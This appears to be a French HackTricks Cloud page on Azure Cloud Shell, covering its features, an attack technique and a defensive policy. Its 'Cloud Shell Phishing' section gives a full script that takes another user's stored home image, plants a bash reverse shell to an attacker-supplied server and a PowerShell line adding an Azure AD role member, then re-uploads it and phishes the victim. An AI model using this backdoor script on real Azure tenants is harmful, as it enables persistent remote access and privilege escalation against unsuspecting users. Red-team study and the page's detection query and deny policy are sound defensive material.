Az - Cloud Shell
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Azure Cloud Shell
Azure Cloud Shell est un terminal interactif, authentifiĂ© et accessible via un navigateur, conçu pour gĂ©rer les ressources Azure, offrant la flexibilitĂ© de travailler avec Bash ou PowerShell. Il fonctionne sur un hĂŽte temporaire par session qui expire aprĂšs 20 minutes dâinactivitĂ©, tout en conservant les fichiers dans lâemplacement $HOME Ă lâaide dâun partage de fichiers de 5 Go. Cloud Shell peut ĂȘtre accessible par plusieurs points, y compris le portail Azure, shell.azure.com, la documentation Azure CLI et PowerShell, lâapplication mobile Azure, et lâextension Azure Account de Visual Studio Code.
Il nây a pas de permissions assignĂ©es Ă ce service, donc il nây a pas de techniques dâescalade de privilĂšges. De plus, il nây a pas de type dâĂ©numĂ©ration.
Key Features
- Outils prĂ©installĂ©s : Cloud Shell comprend un ensemble complet dâoutils prĂ©installĂ©s tels que Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, et des Ă©diteurs de texte comme vim, nano, et emacs. Ces outils sont prĂȘts Ă lâemploi. Pour lister les paquets et modules installĂ©s, vous pouvez utiliser âGet-Module -ListAvailableâ, âtdnf listâ et âpip3 listâ.
- Lecteur Azure (Azure:) : PowerShell dans Azure Cloud Shell inclut le lecteur Azure (Azure:), qui permet une navigation facile des ressources Azure comme Compute, Network, et Storage en utilisant des commandes similaires Ă celles du systĂšme de fichiers. Passez au lecteur Azure avec cd Azure: et revenez Ă votre rĂ©pertoire personnel avec cd ~. Vous pouvez toujours utiliser les cmdlets Azure PowerShell pour gĂ©rer les ressources depuis nâimporte quel lecteur.
- Installation dâoutils personnalisĂ©s : Les utilisateurs qui configurent Cloud Shell avec un compte de stockage peuvent installer des outils supplĂ©mentaires qui ne nĂ©cessitent pas de permissions root. Cette fonctionnalitĂ© permet une personnalisation supplĂ©mentaire de lâenvironnement Cloud Shell, permettant aux utilisateurs dâadapter leur configuration Ă leurs besoins spĂ©cifiques.
- Persistance $HOME : Lors du premier dĂ©marrage dâAzure Cloud Shell, vous pouvez lâutiliser avec ou sans un compte de stockage attachĂ©.
- Choisir de ne pas attacher de stockage crĂ©e une session Ă©phĂ©mĂšre oĂč les fichiers sont supprimĂ©s Ă la fin de la session.
- Pour persister les fichiers entre les sessions, vous avez la possibilitĂ© de monter un compte de stockage, qui sâattache automatiquement en tant que
$HOME\clouddrive, avec votre répertoire$HOMEsauvegardé sous forme de fichier .img dans un partage de fichiers.
Cloud Shell Phishing
Si un attaquant trouve dâautres images dâutilisateurs dans un compte de stockage auquel il a accĂšs en Ă©criture et en lecture, il pourra tĂ©lĂ©charger lâimage, ajouter un backdoor bash et PS dedans, et la tĂ©lĂ©charger Ă nouveau dans le compte de stockage afin que la prochaine fois que lâutilisateur accĂšde au shell, les commandes seront automatiquement exĂ©cutĂ©es.
- TĂ©lĂ©charger, backdoor et uploader lâimage :
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp
sudo umount /tmp/cloudpoison
# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
- Ensuite, hameçonner lâutilisateur pour accĂ©der Ă https://shell.azure.com/
Trouver et interdire les comptes de stockage automatiques de Cloud Shell
Les comptes de stockage créés par Cloud Shell sont étiquetés avec ms-resource-usage:azure-cloud-shell. Il est possible de créer une politique de ressources Azure qui désactive la création de ressources avec cette étiquette.
Trouvez tous les comptes de stockage créés par Cloud Shell par étiquettes :
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
Politique interdisant la création de comptes de stockage automatiques pour le stockage de cloud shell en fonction des balises :
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
Références
- https://learn.microsoft.com/en-us/azure/cloud-shell/overview
- https://learn.microsoft.com/en-us/azure/cloud-shell/features
- https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window
Persistance
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

